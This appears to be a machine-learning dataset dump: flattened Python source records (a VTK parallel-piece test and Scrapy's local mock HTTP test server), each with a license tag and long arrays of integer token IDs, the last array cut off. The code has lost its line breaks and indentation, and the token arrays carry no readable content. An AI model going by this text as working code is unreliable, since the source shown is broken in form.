tp.SetWholeExtent(ext) ncells = vtk.vtkIntArray() ncells.SetNumberOfTuples(1) if rank == 0: ncells.SetValue(0, s.GetNumberOfCells()) contr.Broadcast(ncells, 0) result = vtk.vtkIntArray() result.SetNumberOfTuples(1) result.SetValue(0, 1) if rank > 0: if s.GetNumberOfCells() != 0: result.SetValue(0, 0) filter.SetInputConnection(tp.GetOutputPort()) filter.UpdateInformation() filter.SetUpdateExtent(rank, nranks, 0) filter.Update() if filter.GetOutput().GetNumberOfCells() != ncells.GetValue(0) / nranks: result.SetValue(0, 0) filter.UpdateInformation() filter.SetUpdateExtent(rank, nranks, 1) filter.Update() gl = filter.GetOutput().GetCellData().GetArray(vtk.vtkDataSetAttributes.GhostArrayName()) if not gl: result.SetValue(0, 0) else: rng = gl.GetRange() if rng[1] != 1: result.SetValue(0, 0) resArray = vtk.vtkIntArray() resArray.SetNumberOfTuples(1) contr.AllReduce(result, resArray, vtk.vtkCommunicator.MIN_OP) assert resArray.GetValue(0) == 1 TestDataType('ImageData', vtk.vtkTransmitImageDataPiece()) TestDataType('RectilinearGrid', vtk.vtkTransmitRectilinearGridPiece()) TestDataType('StructuredGrid', vtk.vtkTransmitStructuredGridPiece()) TestDataType('UnstructuredGrid', vtk.vtkTransmitUnstructuredGridPiece())
bsd-3-clause
[ 646, 11144, 199, 504, 11144, 14, 396, 492, 11940, 199, 504, 11144, 14, 1974, 14, 9923, 492, 11144, 1002, 29008, 199, 8156, 43, 63, 12510, 63, 3022, 275, 11144, 1002, 29008, 342, 199, 199, 388, 454, 275, 11144, 14, 11919, 3947, 3498, 7506, 14, 1002, 7025, 7506, 342, 199, 692, 440, 406, 454, 26, 272, 302, 29473, 275, 413, 272, 6915, 275, 378, 199, 2836, 26, 272, 302, 29473, 275, 406, 454, 14, 1002, 16030, 25857, 342, 272, 6915, 275, 406, 454, 14, 1002, 5339, 28943, 342, 199, 199, 318, 2372, 2980, 8, 576, 804, 304, 272, 308, 275, 11144, 14, 11919, 11876, 8014, 764, 2980, 342, 272, 327, 7777, 3012, 1350, 272, 340, 6915, 508, 378, 26, 267, 308, 14, 4152, 342, 339, 340, 666, 804, 508, 283, 3491, 1451, 356, 267, 372, 308, 14, 18614, 342, 339, 916, 666, 804, 508, 283, 1358, 15774, 7900, 356, 267, 5042, 275, 11144, 14, 11919, 30720, 30402, 4131, 342, 267, 5042, 14, 24029, 1451, 8, 83, 14, 18614, 1012, 267, 5042, 14, 4152, 342, 267, 372, 5042, 14, 18614, 342, 339, 916, 666, 804, 508, 283, 21561, 280, 6676, 7900, 356, 398, 1324, 275, 308, 14, 18614, 342, 398, 23136, 275, 11144, 14, 11919, 21561, 280, 6676, 7900, 342, 267, 23136, 14, 1084, 19808, 8, 1210, 14, 1002, 19808, 1012, 267, 17476, 275, 1324, 14, 1002, 23370, 342, 267, 19621, 275, 1324, 14, 1002, 24052, 342, 398, 671, 275, 11144, 14, 11919, 5136, 3836, 342, 267, 671, 14, 1084, 16030, 7075, 83, 8, 5380, 59, 16, 566, 267, 367, 284, 315, 1425, 8, 5380, 59, 16, 4682, 288, 671, 14, 21322, 8, 73, 12, 19621, 59, 16, 3672, 73, 9, 398, 612, 275, 11144, 14, 11919, 5136, 3836, 342, 267, 612, 14, 1084, 16030, 7075, 83, 8, 5380, 59, 17, 566, 267, 367, 284, 315, 1425, 8, 5380, 59, 17, 4682, 288, 612, 14, 21322, 8, 73, 12, 19621, 59, 17, 3672, 73, 9, 398, 1315, 275, 11144, 14, 11919, 5136, 3836, 342, 267, 1315, 14, 1084, 16030, 7075, 83, 8, 5380, 59, 18, 566, 267, 367, 284, 315, 1425, 8, 5380, 59, 18, 4682, 288, 1315, 14, 21322, 8, 73, 12, 19621, 59, 18, 3672, 73, 9, 398, 23136, 14, 1084, 56, 13940, 2335, 8, 88, 9, 267, 23136, 14, 1084, 57, 13940, 2335, 8, 89, 9, 267, 23136, 14, 1084, 58, 13940, 2335, 8, 90, 9, 398, 23136, 14, 30418, 1451, 1252, 2662, 3306, 5116, 8, 1210, 14, 30418, 1451, 1012, 398, 372, 23136, 339, 916, 666, 804, 508, 283, 27486, 7900, 356, 398, 1324, 275, 308, 14, 18614, 342, 398, 12578, 275, 11144, 14, 11919, 27486, 7900, 342, 267, 12578, 14, 1084, 19808, 8, 1210, 14, 1002, 19808, 1012, 267, 21286, 275, 11144, 14, 11919, 10225, 342, 267, 12578, 14, 1084, 10225, 8, 8382, 9, 267, 302, 8382, 275, 1324, 14, 1002, 16030, 10225, 342, 267, 367, 284, 315, 4945, 8, 78, 8382, 304, 288, 21286, 14, 9971, 5765, 3428, 8, 1210, 14, 30418, 8, 73, 430, 267, 12578, 14, 30418, 1451, 1252, 2662, 3306, 5116, 8, 1210, 14, 30418, 1451, 1012, 398, 372, 12578, 199, 199, 318, 1379, 23516, 8, 576, 804, 12, 2457, 304, 272, 340, 6915, 508, 378, 26, 267, 870, 666, 804, 339, 308, 275, 2372, 2980, 8, 576, 804, 9, 339, 12927, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 12927, 14, 1084, 16030, 7075, 83, 8, 22, 9, 272, 340, 6915, 508, 378, 26, 267, 862, 26, 288, 1599, 275, 308, 14, 1002, 19808, 342, 267, 871, 26, 288, 1599, 275, 334, 16, 12, 446, 17, 12, 378, 12, 446, 17, 12, 378, 12, 446, 17, 9, 267, 367, 284, 315, 1425, 8, 22, 304, 288, 12927, 14, 21322, 8, 73, 12, 1599, 59, 73, 566, 272, 406, 454, 14, 12105, 8, 983, 12, 378, 9, 339, 1599, 275, 942, 272, 367, 284, 315, 1425, 8, 22, 304, 267, 1599, 14, 740, 8, 983, 14, 9334, 8, 73, 430, 272, 1599, 275, 2008, 8, 832, 9, 339, 9253, 275, 11144, 14, 11919, 6948, 15652, 15532, 342, 272, 9253, 14, 1084, 2959, 8, 83, 9, 272, 9253, 14, 1084, 55, 16668, 19808, 8, 832, 9, 339, 302, 9041, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 302, 9041, 14, 1084, 16030, 7075, 83, 8, 17, 9, 272, 340, 6915, 508, 378, 26, 267, 302, 9041, 14, 21322, 8, 16, 12, 308, 14, 1002, 16030, 16852, 1012, 272, 406, 454, 14, 12105, 8, 78, 9041, 12, 378, 9, 339, 754, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 754, 14, 1084, 16030, 7075, 83, 8, 17, 9, 272, 754, 14, 21322, 8, 16, 12, 413, 9, 339, 340, 6915, 690, 378, 26, 267, 340, 308, 14, 1002, 16030, 16852, 342, 1137, 378, 26, 288, 754, 14, 21322, 8, 16, 12, 378, 9, 339, 2457, 14, 32195, 8, 683, 14, 30810, 1012, 272, 2457, 14, 4152, 4935, 342, 272, 2457, 14, 1084, 4152, 19808, 8, 4648, 12, 302, 29473, 12, 378, 9, 272, 2457, 14, 4152, 342, 339, 340, 2457, 14, 18614, 1252, 1002, 16030, 16852, 342, 1137, 302, 9041, 14, 9334, 8, 16, 9, 1182, 302, 29473, 26, 267, 754, 14, 21322, 8, 16, 12, 378, 9, 339, 2457, 14, 4152, 4935, 342, 272, 2457, 14, 1084, 4152, 19808, 8, 4648, 12, 302, 29473, 12, 413, 9, 272, 2457, 14, 4152, 342, 339, 6482, 275, 2457, 14, 18614, 1252, 1002, 8108, 1451, 1252, 1002, 3836, 8, 11919, 14, 11919, 30720, 5379, 14, 39, 1102, 3836, 985, 1012, 272, 340, 440, 6482, 26, 267, 754, 14, 21322, 8, 16, 12, 378, 9, 272, 587, 26, 267, 9038, 275, 6482, 14, 1002, 4709, 342, 267, 340, 9038, 59, 17, 61, 1137, 413, 26, 288, 754, 14, 21322, 8, 16, 12, 378, 9, 339, 522, 3836, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 522, 3836, 14, 1084, 16030, 7075, 83, 8, 17, 9, 272, 406, 454, 14, 2422, 21822, 8, 1099, 12, 522, 3836, 12, 11144, 14, 11919, 27258, 707, 14, 4896, 63, 1938, 9, 339, 702, 522, 3836, 14, 9334, 8, 16, 9, 508, 413, 421, 199, 16550, 804, 360, 3491, 1451, 297, 11144, 14, 11919, 3188, 1147, 3491 ]
[ 11144, 199, 504, 11144, 14, 396, 492, 11940, 199, 504, 11144, 14, 1974, 14, 9923, 492, 11144, 1002, 29008, 199, 8156, 43, 63, 12510, 63, 3022, 275, 11144, 1002, 29008, 342, 199, 199, 388, 454, 275, 11144, 14, 11919, 3947, 3498, 7506, 14, 1002, 7025, 7506, 342, 199, 692, 440, 406, 454, 26, 272, 302, 29473, 275, 413, 272, 6915, 275, 378, 199, 2836, 26, 272, 302, 29473, 275, 406, 454, 14, 1002, 16030, 25857, 342, 272, 6915, 275, 406, 454, 14, 1002, 5339, 28943, 342, 199, 199, 318, 2372, 2980, 8, 576, 804, 304, 272, 308, 275, 11144, 14, 11919, 11876, 8014, 764, 2980, 342, 272, 327, 7777, 3012, 1350, 272, 340, 6915, 508, 378, 26, 267, 308, 14, 4152, 342, 339, 340, 666, 804, 508, 283, 3491, 1451, 356, 267, 372, 308, 14, 18614, 342, 339, 916, 666, 804, 508, 283, 1358, 15774, 7900, 356, 267, 5042, 275, 11144, 14, 11919, 30720, 30402, 4131, 342, 267, 5042, 14, 24029, 1451, 8, 83, 14, 18614, 1012, 267, 5042, 14, 4152, 342, 267, 372, 5042, 14, 18614, 342, 339, 916, 666, 804, 508, 283, 21561, 280, 6676, 7900, 356, 398, 1324, 275, 308, 14, 18614, 342, 398, 23136, 275, 11144, 14, 11919, 21561, 280, 6676, 7900, 342, 267, 23136, 14, 1084, 19808, 8, 1210, 14, 1002, 19808, 1012, 267, 17476, 275, 1324, 14, 1002, 23370, 342, 267, 19621, 275, 1324, 14, 1002, 24052, 342, 398, 671, 275, 11144, 14, 11919, 5136, 3836, 342, 267, 671, 14, 1084, 16030, 7075, 83, 8, 5380, 59, 16, 566, 267, 367, 284, 315, 1425, 8, 5380, 59, 16, 4682, 288, 671, 14, 21322, 8, 73, 12, 19621, 59, 16, 3672, 73, 9, 398, 612, 275, 11144, 14, 11919, 5136, 3836, 342, 267, 612, 14, 1084, 16030, 7075, 83, 8, 5380, 59, 17, 566, 267, 367, 284, 315, 1425, 8, 5380, 59, 17, 4682, 288, 612, 14, 21322, 8, 73, 12, 19621, 59, 17, 3672, 73, 9, 398, 1315, 275, 11144, 14, 11919, 5136, 3836, 342, 267, 1315, 14, 1084, 16030, 7075, 83, 8, 5380, 59, 18, 566, 267, 367, 284, 315, 1425, 8, 5380, 59, 18, 4682, 288, 1315, 14, 21322, 8, 73, 12, 19621, 59, 18, 3672, 73, 9, 398, 23136, 14, 1084, 56, 13940, 2335, 8, 88, 9, 267, 23136, 14, 1084, 57, 13940, 2335, 8, 89, 9, 267, 23136, 14, 1084, 58, 13940, 2335, 8, 90, 9, 398, 23136, 14, 30418, 1451, 1252, 2662, 3306, 5116, 8, 1210, 14, 30418, 1451, 1012, 398, 372, 23136, 339, 916, 666, 804, 508, 283, 27486, 7900, 356, 398, 1324, 275, 308, 14, 18614, 342, 398, 12578, 275, 11144, 14, 11919, 27486, 7900, 342, 267, 12578, 14, 1084, 19808, 8, 1210, 14, 1002, 19808, 1012, 267, 21286, 275, 11144, 14, 11919, 10225, 342, 267, 12578, 14, 1084, 10225, 8, 8382, 9, 267, 302, 8382, 275, 1324, 14, 1002, 16030, 10225, 342, 267, 367, 284, 315, 4945, 8, 78, 8382, 304, 288, 21286, 14, 9971, 5765, 3428, 8, 1210, 14, 30418, 8, 73, 430, 267, 12578, 14, 30418, 1451, 1252, 2662, 3306, 5116, 8, 1210, 14, 30418, 1451, 1012, 398, 372, 12578, 199, 199, 318, 1379, 23516, 8, 576, 804, 12, 2457, 304, 272, 340, 6915, 508, 378, 26, 267, 870, 666, 804, 339, 308, 275, 2372, 2980, 8, 576, 804, 9, 339, 12927, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 12927, 14, 1084, 16030, 7075, 83, 8, 22, 9, 272, 340, 6915, 508, 378, 26, 267, 862, 26, 288, 1599, 275, 308, 14, 1002, 19808, 342, 267, 871, 26, 288, 1599, 275, 334, 16, 12, 446, 17, 12, 378, 12, 446, 17, 12, 378, 12, 446, 17, 9, 267, 367, 284, 315, 1425, 8, 22, 304, 288, 12927, 14, 21322, 8, 73, 12, 1599, 59, 73, 566, 272, 406, 454, 14, 12105, 8, 983, 12, 378, 9, 339, 1599, 275, 942, 272, 367, 284, 315, 1425, 8, 22, 304, 267, 1599, 14, 740, 8, 983, 14, 9334, 8, 73, 430, 272, 1599, 275, 2008, 8, 832, 9, 339, 9253, 275, 11144, 14, 11919, 6948, 15652, 15532, 342, 272, 9253, 14, 1084, 2959, 8, 83, 9, 272, 9253, 14, 1084, 55, 16668, 19808, 8, 832, 9, 339, 302, 9041, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 302, 9041, 14, 1084, 16030, 7075, 83, 8, 17, 9, 272, 340, 6915, 508, 378, 26, 267, 302, 9041, 14, 21322, 8, 16, 12, 308, 14, 1002, 16030, 16852, 1012, 272, 406, 454, 14, 12105, 8, 78, 9041, 12, 378, 9, 339, 754, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 754, 14, 1084, 16030, 7075, 83, 8, 17, 9, 272, 754, 14, 21322, 8, 16, 12, 413, 9, 339, 340, 6915, 690, 378, 26, 267, 340, 308, 14, 1002, 16030, 16852, 342, 1137, 378, 26, 288, 754, 14, 21322, 8, 16, 12, 378, 9, 339, 2457, 14, 32195, 8, 683, 14, 30810, 1012, 272, 2457, 14, 4152, 4935, 342, 272, 2457, 14, 1084, 4152, 19808, 8, 4648, 12, 302, 29473, 12, 378, 9, 272, 2457, 14, 4152, 342, 339, 340, 2457, 14, 18614, 1252, 1002, 16030, 16852, 342, 1137, 302, 9041, 14, 9334, 8, 16, 9, 1182, 302, 29473, 26, 267, 754, 14, 21322, 8, 16, 12, 378, 9, 339, 2457, 14, 4152, 4935, 342, 272, 2457, 14, 1084, 4152, 19808, 8, 4648, 12, 302, 29473, 12, 413, 9, 272, 2457, 14, 4152, 342, 339, 6482, 275, 2457, 14, 18614, 1252, 1002, 8108, 1451, 1252, 1002, 3836, 8, 11919, 14, 11919, 30720, 5379, 14, 39, 1102, 3836, 985, 1012, 272, 340, 440, 6482, 26, 267, 754, 14, 21322, 8, 16, 12, 378, 9, 272, 587, 26, 267, 9038, 275, 6482, 14, 1002, 4709, 342, 267, 340, 9038, 59, 17, 61, 1137, 413, 26, 288, 754, 14, 21322, 8, 16, 12, 378, 9, 339, 522, 3836, 275, 11144, 14, 11919, 3241, 3836, 342, 272, 522, 3836, 14, 1084, 16030, 7075, 83, 8, 17, 9, 272, 406, 454, 14, 2422, 21822, 8, 1099, 12, 522, 3836, 12, 11144, 14, 11919, 27258, 707, 14, 4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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
zhangtao11/scrapy
tests/mockserver.py
110
6622
from __future__ import print_function import sys, time, random, os, json import six from six.moves.urllib.parse import urlencode from subprocess import Popen, PIPE from twisted.web.server import Site, NOT_DONE_YET from twisted.web.resource import Resource from twisted.internet import reactor, defer, ssl from scrapy import twisted_version if twisted_version < (11, 0, 0): def deferLater(clock, delay, func, *args, **kw): def _cancel_method(): _cancel_cb(None) d.errback(Exception()) def _cancel_cb(result): if cl.active(): cl.cancel() return result d = defer.Deferred() d.cancel = _cancel_method d.addCallback(lambda ignored: func(*args, **kw)) d.addBoth(_cancel_cb) cl = clock.callLater(delay, d.callback, None) return d else: from twisted.internet.task import deferLater def getarg(request, name, default=None, type=str): if name in request.args: return type(request.args[name][0]) else: return default class LeafResource(Resource): isLeaf = True def deferRequest(self, request, delay, f, *a, **kw): def _cancelrequest(_): # silence CancelledError d.addErrback(lambda _: None) d.cancel() d = deferLater(reactor, delay, f, *a, **kw) request.notifyFinish().addErrback(_cancelrequest) return d class Follow(LeafResource): def render(self, request): total = getarg(request, "total", 100, type=int) show = getarg(request, "show", 1, type=int) order = getarg(request, "order", "desc") maxlatency = getarg(request, "maxlatency", 0, type=float) n = getarg(request, "n", total, type=int) if order == "rand": nlist = [random.randint(1, total) for _ in range(show)] else: # order == "desc" nlist = range(n, max(n - show, 0), -1) lag = random.random() * maxlatency self.deferRequest(request, lag, self.renderRequest, request, nlist) return NOT_DONE_YET def renderRequest(self, request, nlist): s = """<html> <head></head> <body>""" args = request.args.copy() for nl in nlist: args["n"] = [str(nl)] argstr = urlencode(args, doseq=True) s += "<a href='/follow?%s'>follow %d</a><br>" % (argstr, nl) s += """</body>""" request.write(s) request.finish() class Delay(LeafResource): def render_GET(self, request): n = getarg(request, "n", 1, type=float) b = getarg(request, "b", 1, type=int) if b: # send headers now and delay body request.write('') self.deferRequest(request, n, self._delayedRender, request, n) return NOT_DONE_YET def _delayedRender(self, request, n): request.write("Response delayed for %0.3f seconds\n" % n) request.finish() class Status(LeafResource): def render_GET(self, request): n = getarg(request, "n", 200, type=int) request.setResponseCode(n) return "" class Raw(LeafResource): def render_GET(self, request): request.startedWriting = 1 self.deferRequest(request, 0, self._delayedRender, request) return NOT_DONE_YET render_POST = render_GET def _delayedRender(self, request): raw = getarg(request, 'raw', 'HTTP 1.1 200 OK\n') request.startedWriting = 1 request.write(raw) request.channel.transport.loseConnection() request.finish() class Echo(LeafResource): def render_GET(self, request): output = { 'headers': dict(request.requestHeaders.getAllRawHeaders()), 'body': request.content.read(), } return json.dumps(output) class Partial(LeafResource): def render_GET(self, request): request.setHeader("Content-Length", "1024") self.deferRequest(request, 0, self._delayedRender, request) return NOT_DONE_YET def _delayedRender(self, request): request.write("partial content\n") request.finish() class Drop(Partial): def _delayedRender(self, request): abort = getarg(request, "abort", 0, type=int) request.write("this connection will be dropped\n") tr = request.channel.transport try: if abort and hasattr(tr, 'abortConnection'): tr.abortConnection() else: tr.loseConnection() finally: request.finish() class Root(Resource): def __init__(self): Resource.__init__(self) self.putChild("status", Status()) self.putChild("follow", Follow()) self.putChild("delay", Delay()) self.putChild("partial", Partial()) self.putChild("drop", Drop()) self.putChild("raw", Raw()) self.putChild("echo", Echo()) if six.PY2 and twisted_version > (12, 3, 0): from twisted.web.test.test_webclient import PayloadResource from twisted.web.server import GzipEncoderFactory from twisted.web.resource import EncodingResourceWrapper self.putChild('payload', PayloadResource()) self.putChild("xpayload", EncodingResourceWrapper(PayloadResource(), [GzipEncoderFactory()])) def getChild(self, name, request): return self def render(self, request): return 'Scrapy mock HTTP server\n' class MockServer(): def __enter__(self): from scrapy.utils.test import get_testenv self.proc = Popen([sys.executable, '-u', '-m', 'tests.mockserver'], stdout=PIPE, env=get_testenv()) self.proc.stdout.readline() return self def __exit__(self, exc_type, exc_value, traceback): self.proc.kill() self.proc.wait() time.sleep(0.2) if __name__ == "__main__": root = Root() factory = Site(root) httpPort = reactor.listenTCP(8998, factory) contextFactory = ssl.DefaultOpenSSLContextFactory( os.path.join(os.path.dirname(__file__), 'keys/cert.pem'), os.path.join(os.path.dirname(__file__), 'keys/cert.pem'), ) httpsPort = reactor.listenSSL(8999, factory, contextFactory) def print_listening(): httpHost = httpPort.getHost() httpsHost = httpsPort.getHost() print("Mock server running at http://%s:%d and https://%s:%d" % ( httpHost.host, httpHost.port, httpsHost.host, httpsHost.port)) reactor.callWhenRunning(print_listening) reactor.run()
bsd-3-clause
[ 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 646, 984, 12, 900, 12, 2196, 12, 747, 12, 2022, 199, 646, 3816, 199, 504, 3816, 14, 4912, 14, 4078, 14, 1122, 492, 16511, 199, 504, 3873, 492, 13995, 12, 22773, 199, 504, 7390, 14, 2520, 14, 1000, 492, 11666, 12, 2845, 63, 22162, 63, 57, 775, 199, 504, 7390, 14, 2520, 14, 1927, 492, 7337, 199, 504, 7390, 14, 4901, 492, 9655, 12, 10133, 12, 6149, 199, 504, 18918, 492, 7390, 63, 1023, 421, 199, 692, 7390, 63, 1023, 665, 334, 845, 12, 378, 12, 378, 304, 272, 347, 10133, 22028, 8, 9597, 12, 7339, 12, 2562, 12, 627, 589, 12, 1011, 829, 304, 267, 347, 485, 6406, 63, 765, 837, 288, 485, 6406, 63, 2894, 8, 403, 9, 288, 366, 14, 28940, 8, 1726, 1012, 398, 347, 485, 6406, 63, 2894, 8, 1099, 304, 288, 340, 824, 14, 2682, 837, 355, 824, 14, 6406, 342, 288, 372, 754, 398, 366, 275, 10133, 14, 9937, 342, 267, 366, 14, 6406, 275, 485, 6406, 63, 765, 267, 366, 14, 10053, 8, 2734, 5525, 26, 2562, 2031, 589, 12, 1011, 829, 430, 267, 366, 14, 525, 18088, 1547, 6406, 63, 2894, 9, 267, 824, 275, 12516, 14, 1250, 22028, 8, 5814, 12, 366, 14, 3058, 12, 488, 9, 267, 372, 366, 199, 2836, 26, 272, 687, 7390, 14, 4901, 14, 1765, 492, 10133, 22028, 421, 199, 318, 664, 1273, 8, 1069, 12, 536, 12, 849, 29, 403, 12, 730, 29, 495, 304, 272, 340, 536, 315, 1056, 14, 589, 26, 267, 372, 730, 8, 1069, 14, 589, 59, 354, 1527, 16, 566, 272, 587, 26, 267, 372, 849, 421, 199, 533, 27836, 4031, 8, 4031, 304, 339, 365, 20475, 275, 715, 339, 347, 10133, 2017, 8, 277, 12, 1056, 12, 7339, 12, 289, 12, 627, 65, 12, 1011, 829, 304, 267, 347, 485, 6406, 1069, 1547, 304, 288, 327, 9767, 21225, 28374, 1146, 547, 288, 366, 14, 31554, 8, 2734, 24700, 488, 9, 288, 366, 14, 6406, 342, 398, 366, 275, 10133, 22028, 8, 13544, 12, 7339, 12, 289, 12, 627, 65, 12, 1011, 829, 9, 267, 1056, 14, 6814, 22084, 1252, 31554, 1547, 6406, 1069, 9, 267, 372, 366, 421, 199, 533, 21876, 8, 20475, 4031, 304, 339, 347, 3795, 8, 277, 12, 1056, 304, 267, 3141, 275, 664, 1273, 8, 1069, 12, 298, 2923, 401, 2948, 12, 730, 29, 442, 9, 267, 2498, 275, 664, 1273, 8, 1069, 12, 298, 2384, 401, 413, 12, 730, 29, 442, 9, 267, 1865, 275, 664, 1273, 8, 1069, 12, 298, 1648, 401, 298, 3257, 531, 267, 1390, 19645, 275, 664, 1273, 8, 1069, 12, 298, 988, 19645, 401, 378, 12, 730, 29, 1609, 9, 267, 302, 275, 664, 1273, 8, 1069, 12, 298, 78, 401, 3141, 12, 730, 29, 442, 9, 267, 340, 1865, 508, 298, 3759, 582, 288, 302, 513, 275, 359, 2355, 14, 8393, 8, 17, 12, 3141, 9, 367, 485, 315, 1425, 8, 2384, 1874, 267, 587, 26, 221, 327, 1865, 508, 298, 3257, 2, 288, 302, 513, 275, 1425, 8, 78, 12, 1390, 8, 78, 446, 2498, 12, 378, 395, 446, 17, 9, 398, 17891, 275, 2196, 14, 2355, 342, 627, 1390, 19645, 267, 291, 14, 11610, 2017, 8, 1069, 12, 17891, 12, 291, 14, 3352, 2017, 12, 1056, 12, 302, 513, 9, 267, 372, 2845, 63, 22162, 63, 57, 775, 339, 347, 3795, 2017, 8, 277, 12, 1056, 12, 302, 513, 304, 267, 308, 275, 8894, 1360, 30, 665, 2993, 2957, 2993, 30, 665, 2030, 11193, 267, 1249, 275, 1056, 14, 589, 14, 1574, 342, 267, 367, 12992, 315, 302, 513, 26, 288, 1249, 905, 78, 937, 275, 359, 495, 8, 7530, 1874, 288, 22494, 275, 16511, 8, 589, 12, 886, 3610, 29, 549, 9, 288, 308, 847, 3886, 65, 4369, 8805, 7207, 25790, 83, 8423, 7207, 450, 68, 1108, 65, 2535, 3289, 4335, 450, 334, 21371, 12, 12992, 9, 267, 308, 847, 408, 1108, 2030, 11193, 267, 1056, 14, 952, 8, 83, 9, 267, 1056, 14, 8192, 342, 421, 199, 533, 18464, 1187, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 302, 275, 664, 1273, 8, 1069, 12, 298, 78, 401, 413, 12, 730, 29, 1609, 9, 267, 330, 275, 664, 1273, 8, 1069, 12, 298, 66, 401, 413, 12, 730, 29, 442, 9, 267, 340, 330, 26, 288, 327, 3222, 2323, 3063, 436, 7339, 2396, 288, 1056, 14, 952, 8355, 267, 291, 14, 11610, 2017, 8, 1069, 12, 302, 12, 291, 423, 21830, 9216, 12, 1056, 12, 302, 9, 267, 372, 2845, 63, 22162, 63, 57, 775, 339, 347, 485, 21830, 9216, 8, 277, 12, 1056, 12, 302, 304, 267, 1056, 14, 952, 480, 2364, 24725, 367, 450, 16, 14, 19, 70, 4696, 60, 78, 2, 450, 302, 9, 267, 1056, 14, 8192, 342, 421, 199, 533, 9795, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 302, 275, 664, 1273, 8, 1069, 12, 298, 78, 401, 1926, 12, 730, 29, 442, 9, 267, 1056, 14, 409, 2364, 3034, 8, 78, 9, 267, 372, 3087, 421, 199, 533, 13480, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 1056, 14, 8924, 16646, 275, 413, 267, 291, 14, 11610, 2017, 8, 1069, 12, 378, 12, 291, 423, 21830, 9216, 12, 1056, 9, 267, 372, 2845, 63, 22162, 63, 57, 775, 272, 3795, 63, 4030, 275, 3795, 63, 2970, 339, 347, 485, 21830, 9216, 8, 277, 12, 1056, 304, 267, 3066, 275, 664, 1273, 8, 1069, 12, 283, 1773, 297, 283, 2856, 413, 14, 17, 1926, 9949, 60, 78, 358, 267, 1056, 14, 8924, 16646, 275, 413, 267, 1056, 14, 952, 8, 1773, 9, 267, 1056, 14, 2775, 14, 5545, 14, 32452, 342, 267, 1056, 14, 8192, 342, 421, 199, 533, 24980, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 1072, 275, 469, 288, 283, 2139, 356, 1211, 8, 1069, 14, 1069, 9883, 14, 31359, 7963, 9883, 4000, 288, 283, 2030, 356, 1056, 14, 1317, 14, 739, 1062, 267, 789, 267, 372, 2022, 14, 4180, 8 ]
[ 636, 2443, 363, 492, 870, 63, 1593, 199, 646, 984, 12, 900, 12, 2196, 12, 747, 12, 2022, 199, 646, 3816, 199, 504, 3816, 14, 4912, 14, 4078, 14, 1122, 492, 16511, 199, 504, 3873, 492, 13995, 12, 22773, 199, 504, 7390, 14, 2520, 14, 1000, 492, 11666, 12, 2845, 63, 22162, 63, 57, 775, 199, 504, 7390, 14, 2520, 14, 1927, 492, 7337, 199, 504, 7390, 14, 4901, 492, 9655, 12, 10133, 12, 6149, 199, 504, 18918, 492, 7390, 63, 1023, 421, 199, 692, 7390, 63, 1023, 665, 334, 845, 12, 378, 12, 378, 304, 272, 347, 10133, 22028, 8, 9597, 12, 7339, 12, 2562, 12, 627, 589, 12, 1011, 829, 304, 267, 347, 485, 6406, 63, 765, 837, 288, 485, 6406, 63, 2894, 8, 403, 9, 288, 366, 14, 28940, 8, 1726, 1012, 398, 347, 485, 6406, 63, 2894, 8, 1099, 304, 288, 340, 824, 14, 2682, 837, 355, 824, 14, 6406, 342, 288, 372, 754, 398, 366, 275, 10133, 14, 9937, 342, 267, 366, 14, 6406, 275, 485, 6406, 63, 765, 267, 366, 14, 10053, 8, 2734, 5525, 26, 2562, 2031, 589, 12, 1011, 829, 430, 267, 366, 14, 525, 18088, 1547, 6406, 63, 2894, 9, 267, 824, 275, 12516, 14, 1250, 22028, 8, 5814, 12, 366, 14, 3058, 12, 488, 9, 267, 372, 366, 199, 2836, 26, 272, 687, 7390, 14, 4901, 14, 1765, 492, 10133, 22028, 421, 199, 318, 664, 1273, 8, 1069, 12, 536, 12, 849, 29, 403, 12, 730, 29, 495, 304, 272, 340, 536, 315, 1056, 14, 589, 26, 267, 372, 730, 8, 1069, 14, 589, 59, 354, 1527, 16, 566, 272, 587, 26, 267, 372, 849, 421, 199, 533, 27836, 4031, 8, 4031, 304, 339, 365, 20475, 275, 715, 339, 347, 10133, 2017, 8, 277, 12, 1056, 12, 7339, 12, 289, 12, 627, 65, 12, 1011, 829, 304, 267, 347, 485, 6406, 1069, 1547, 304, 288, 327, 9767, 21225, 28374, 1146, 547, 288, 366, 14, 31554, 8, 2734, 24700, 488, 9, 288, 366, 14, 6406, 342, 398, 366, 275, 10133, 22028, 8, 13544, 12, 7339, 12, 289, 12, 627, 65, 12, 1011, 829, 9, 267, 1056, 14, 6814, 22084, 1252, 31554, 1547, 6406, 1069, 9, 267, 372, 366, 421, 199, 533, 21876, 8, 20475, 4031, 304, 339, 347, 3795, 8, 277, 12, 1056, 304, 267, 3141, 275, 664, 1273, 8, 1069, 12, 298, 2923, 401, 2948, 12, 730, 29, 442, 9, 267, 2498, 275, 664, 1273, 8, 1069, 12, 298, 2384, 401, 413, 12, 730, 29, 442, 9, 267, 1865, 275, 664, 1273, 8, 1069, 12, 298, 1648, 401, 298, 3257, 531, 267, 1390, 19645, 275, 664, 1273, 8, 1069, 12, 298, 988, 19645, 401, 378, 12, 730, 29, 1609, 9, 267, 302, 275, 664, 1273, 8, 1069, 12, 298, 78, 401, 3141, 12, 730, 29, 442, 9, 267, 340, 1865, 508, 298, 3759, 582, 288, 302, 513, 275, 359, 2355, 14, 8393, 8, 17, 12, 3141, 9, 367, 485, 315, 1425, 8, 2384, 1874, 267, 587, 26, 221, 327, 1865, 508, 298, 3257, 2, 288, 302, 513, 275, 1425, 8, 78, 12, 1390, 8, 78, 446, 2498, 12, 378, 395, 446, 17, 9, 398, 17891, 275, 2196, 14, 2355, 342, 627, 1390, 19645, 267, 291, 14, 11610, 2017, 